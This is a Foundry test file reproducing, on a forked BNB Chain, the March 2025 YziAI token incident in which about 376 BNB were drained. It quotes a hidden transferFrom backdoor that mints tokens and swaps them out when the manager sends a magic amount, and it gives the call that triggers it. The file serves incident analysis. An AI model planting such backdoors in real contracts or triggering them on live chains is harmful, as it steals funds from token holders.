src/test/2025-03/YziAIToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 376 BNB
8// Attacker : https://bscscan.com/address/0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453
9// Attack Contract :
10// Vulnerable Contract : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3
11// Attack Tx : https://bscscan.com/tx/0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e8
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3#code
15/*
16function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
17    if(msg.sender == manager && amount == 1199002345) {
18        _mint(address(this), supply * 10000);
19        _approve(address(this), router, supply * 100000);
20 
21        path.push(address(this));
22        path.push(IUniswapV2Router02(router).WETH());
23 
24        IUniswapV2Router02(router).swapExactTokensForETH(
25            balanceOf(to) * 1000,
26            1,
27            path,
28            manager,
29            block.timestamp + 1e10
30        );
31        return true;
32    }
33    // ...
34}
35 */
36 
37// @Analysis
38// Post-mortem : N/A
39// Twitter Guy : https://x.com/TenArmorAlert/status/1905528525785805027
40// Hacking God : N/A
41 
42address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
43address constant CAKE_LP = 0xb53C43dEbCdB1055620d17D0d3aE3cc63eCe0919;
44address constant YziAI = 0x7fDfF64Bf87bad52e6430BDa30239bD182389Ee3;
45 
46contract YziAIToken_exp is BaseTestWithBalanceLog {
47    address attacker = 0x63FC3fF98De8d5cA900e68E6c6F41a7CA949c453;
48    uint256 blocknumToForkFrom = 47_838_545 - 1;
49 
50    function setUp() public {
51        vm.createSelectFork("bsc", blocknumToForkFrom);
52        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
53        // fundingToken = BSC_USD;
54 
55        vm.label(attacker, "Attacker");
56        vm.label(wBNB, "WBNB");
57        vm.label(YziAI, "YziAI");
58        vm.label(CAKE_LP, "0xc355_Cake-LP");
59    }
60 
61    function testExploit() public {
62        emit log_named_decimal_uint("BNB balance before attack", attacker.balance, 18);
63        vm.startPrank(attacker);
64        IERC20(YziAI).transferFrom(CAKE_LP, CAKE_LP, 1_199_002_345);
65        vm.stopPrank();
66        emit log_named_decimal_uint("BNB balance after attack", attacker.balance, 18);
67    }
68}